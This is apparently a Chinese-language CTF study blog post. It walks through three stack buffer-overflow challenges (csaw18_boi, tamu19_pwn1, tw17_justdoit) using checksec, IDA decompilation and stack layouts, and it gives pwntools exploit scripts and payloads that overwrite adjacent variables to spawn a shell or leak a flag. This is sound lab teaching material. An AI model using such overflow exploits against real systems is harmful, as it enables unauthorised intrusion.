歪脖狗学点二进制(1)

BOF_variable

csaw18_boi

Boi Download Link
checksec 查看保护

$ checksec boi
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/csaw18_boi/boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

64bit 小端存储
IDA 反编译

int __fastcall main(int argc, const char **argv, const char **envp)
{
  __int64 buf[2]; // [rsp+10h] [rbp-30h] BYREF
  __int64 v5; // [rsp+20h] [rbp-20h]
  int v6; // [rsp+28h] [rbp-18h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  buf[0] = 0LL;
  buf[1] = 0LL;
  v5 = 0xDEADBEEF00000000LL;
  v6 = 0;
  puts("Are you a big boiiiii??");
  read(0, buf, 0x18uLL);
  if ( HIDWORD(v5) == -889996562 )    // 看汇编的十六进制: 0xCAF3BAEE
    run_cmd("/bin/bash");
  else
    run_cmd("/bin/date");
  return 0;
}

HIDWORD(v5)是获取64位长整型变量的高四位
栈结构

-0000000000000030 buf             dq ?    -> buf
-0000000000000028 var_28          dq ?
-0000000000000020 var_20          dq ?    -> v5
-0000000000000018 var_18          dd ?

buf 到 v5间隔了0x10个空间,但比较的是高四位,因此还需要将v5的低四位的覆写了,总的是写入了(0x10+0x4 = 0x14个字节)

payload

stack = 0xCAF3BAEE
payload = b'a' * (0x14) + p64(stack)

taum19_pwn1

pwn1 Download Link
查保护

$ checksec pwn1
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/tamu19_pwn1/pwn1'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

32位,小端序,No canary
IDA反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[43]; // [esp+1h] [ebp-3Bh] BYREF
  int v5; // [esp+2Ch] [ebp-10h]
  int v6; // [esp+30h] [ebp-Ch]
  int *p_argc; // [esp+34h] [ebp-8h]

  p_argc = &argc;
  setvbuf(stdout, (char *)&dword_0 + 2, 0, 0);
  v6 = 2;
  v5 = 0;
  puts("Stop! Who would cross the Bridge of Death must answer me these questions three, ere the other side he see.");
  puts("What... is your name?");
  fgets(s, 43, stdin);
  if ( strcmp(s, "Sir Lancelot of Camelot\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is your quest?");
  fgets(s, 43, stdin);
  if ( strcmp(s, "To seek the Holy Grail.\n") )
  {
    puts("I don't know that! Auuuuuuuugh!");
    exit(0);
  }
  puts("What... is my secret?");
  gets(s);              # <-----! 漏洞点  --------->
  if ( v5 == -559869752 )   # 0x0DEA110C8
    print_flag();
  else
    puts("I don't know that! Auuuuuuuugh!");
  return 0;
}

漏洞点存在于代码第28行,没有对输入进行边界检查,且s数组的空间为43 (0x3b-0x10)
查看栈结构

-000000000000003B s               db ?
...
-0000000000000010 var_10          dd ?
-000000000000000C var_C           dd ?
-0000000000000008 anonymous_0     dd ?

填充(0x3b-0x10)个字节填满s,之后的数据就是覆写v5

exp

from pwn import *

file = "/home/ctfshow/Desktop/myPwn/myNightmare/tamu19_pwn1/pwn1"
io = process(file)
stack_value = 0x0DEA110C8
payload = b"0" * 0x2b + p32(stack_value)
# io.recvuntil(b"What... is your name?\n")
io.sendline(b"Sir Lancelot of Camelot")
# io.recvuntil(b"What... is your quest?\n")
io.sendline(b"To seek the Holy Grail.")
# io.recvuntil(b"What... is my secret?\n")
# gdb.attach(io)
# pause()
io.sendline(payload)
io.interactive()

tw17_justdoit

just_do_it Download link
检查保护

$ checksec just_do_it
[*] '/home/ctfshow/Desktop/myPwn/myNightmare/tw17_justdoit/just_do_it'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

32位小端序,No canary , No PIE
IDA 反编译

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[16]; // [esp+8h] [ebp-20h] BYREF
  FILE *stream; // [esp+18h] [ebp-10h]
  char *v6; // [esp+1Ch] [ebp-Ch]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 2, 0);
  v6 = failed_message;
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    perror("file open error.\n");
    exit(0);
  }
  if ( !fgets(flag, 48, stream) )             // 从stream所指向的文件或输入流中读取最多48个字符到flag中
  {
    perror("file read error.\n");
    exit(0);
  }
  puts("Welcome my secret service. Do you know the password?");
  puts("Input the password.");
  if ( !fgets(s, 32, stdin) )
  {
    perror("input error.\n");
    exit(0);
  }
  if ( !strcmp(s, PASSWORD) )
    v6 = success_message;
  puts(v6);
  return 0;
}

strcmp比较从第一个不是\x00的字符开始到字符\x00
因此想要绕过strcmp,就需要最后一个字符必需是\x00
由第17行可以知道,读取的flag文件内容被写入到了变量flag数组,从文件流中最多接受48个字节
再看第24行, 数组 s最大可以从输入中接收32个字符,但数组 s 的大小只有16个字符,因此可以溢出
查看栈结构

-0000000000000020 s               db ?     -> 输入
-0000000000000010 stream          dd ?     -> 文件流
-000000000000000C var_C           dd ?     -> v6, 输出的值

0x20 - 0xc = 20, s可以最大可以接收32个字符,因此可以覆写v6, 将其地址改为 flag数组的值,就可以输出flag数组中的数据了
在.bss段中找到flag的地址

.bss:0804A080                 public flag
.bss:0804A080 ; char flag[48]
.bss:0804A080 flag            db 30h dup(?)           ; DATA XREF: main+95↑o
.bss:0804A080 _bss            ends
.bss:0804A080

exp

from pwn import *

# context.log_level = "debug"
io = remote("127.0.0.1",12345)
# io = process("/home/ctfshow/Desktop/myPwn/myNightmare/tw17_justdoit/just_do_it")
# io.recvuntil("Input the password.\n")
flag = 0x0804A080
# payload = b"a" * (0x20) + p32(stream)
# payload = b"P@SSW0RD\x00"

# payload = b"\x00" * (0x20 - 0xC) + p32(flag)
payload = b"a" * 19 + b'\x00' + p32(flag)
print(p32(flag))
io.sendline(payload)
# gdb.attach(io)
# pause()
io.interactive()

总结

Github Nightmare项目的BoF_variable部分比较简单,了解栈的基本结构,知道传入padding的数量以及目的函数的地址就可以了,解题方法千篇一律。

Last modification:June 5, 2024
请我喝瓶冰阔落吧